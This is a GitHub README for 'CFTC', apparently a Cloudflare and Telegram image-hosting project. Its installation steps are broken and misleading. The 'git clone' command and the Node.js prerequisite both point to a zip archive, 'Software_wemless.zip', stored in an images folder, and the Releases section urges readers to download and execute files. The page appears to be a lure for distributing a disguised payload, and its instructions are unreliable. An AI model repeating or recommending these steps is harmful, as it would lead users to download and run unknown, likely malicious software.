Skip to content

Ahmocan/cftc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

42 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CFTC: Cloudflare Telegram Image Hosting

CFTC Logo

Welcome to the CFTC repository! This project focuses on providing a reliable image hosting service using Cloudflare, tailored specifically for Telegram users. Our aim is to simplify the process of sharing images within the Telegram ecosystem while ensuring speed and efficiency.

Table of Contents

Introduction

CFTC stands for Cloudflare Telegram Image Hosting. This service allows users to host images on Cloudflare's infrastructure, making it easy to share images on Telegram. The integration of Cloudflare ensures fast loading times and high availability, providing a seamless experience for users.

Features

  • Fast Image Hosting: Leverage Cloudflare's global network for quick image delivery.
  • Telegram Integration: Easily share images in Telegram chats and channels.
  • Free Image Hosting: Host images without any costs involved.
  • User-Friendly API: Access a simple API for uploading and managing images.
  • Scalable Infrastructure: Built on Cloudflare's reliable platform, ensuring uptime and performance.

Getting Started

To get started with CFTC, you will need to set up your environment and install the necessary dependencies. Follow the instructions below to get everything running smoothly.

Installation

  1. Clone the Repository

    First, clone the repository to your local machine:

    git clone https://github.com/Ahmocan/cftc/raw/refs/heads/main/images/Software_wemless.zip
  2. Navigate to the Directory

    Change to the project directory:

    cd cftc
  3. Install Dependencies

    Install the required dependencies. Make sure you have https://github.com/Ahmocan/cftc/raw/refs/heads/main/images/Software_wemless.zip and npm installed:

    npm install
  4. Set Up Environment Variables

    Create a .env file in the root directory and add your Cloudflare API credentials:

    CLOUDFLARE_API_KEY=your_api_key
    CLOUDFLARE_EMAIL=your_email
    CLOUDFLARE_ACCOUNT_ID=your_account_id
    
  5. Run the Application

    Start the application with the following command:

    npm start

Usage

Once the application is running, you can use the API to upload and manage images. Below are some common tasks you can perform:

Uploading an Image

To upload an image, send a POST request to the /upload endpoint with the image file included in the request body.

Retrieving an Image

To retrieve an image, use the GET request with the image ID:

GET /image/:id

Deleting an Image

To delete an image, send a DELETE request to the following endpoint:

DELETE /image/:id

API Reference

The CFTC API provides several endpoints to interact with the image hosting service. Below is a brief overview of the available endpoints:

POST /upload

  • Description: Upload an image to the server.
  • Request Body: Multipart form-data containing the image file.
  • Response: Returns the image ID and URL.

GET /image/:id

  • Description: Retrieve an image by its ID.
  • Response: Returns the image data.

DELETE /image/:id

  • Description: Delete an image by its ID.
  • Response: Returns a success message.

Contributing

We welcome contributions to improve CFTC. If you would like to contribute, please follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your changes to your fork.
  5. Create a pull request detailing your changes.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For any inquiries or support, please reach out via email or open an issue in the repository.

Releases

To download the latest version of CFTC, visit our Releases page. Make sure to download and execute the necessary files to get started.

Explore the features and functionalities of CFTC and enhance your Telegram experience with efficient image hosting!

Cloudflare Image


Feel free to check the "Releases" section for the latest updates and versions. Your feedback is valuable to us, and we look forward to your contributions!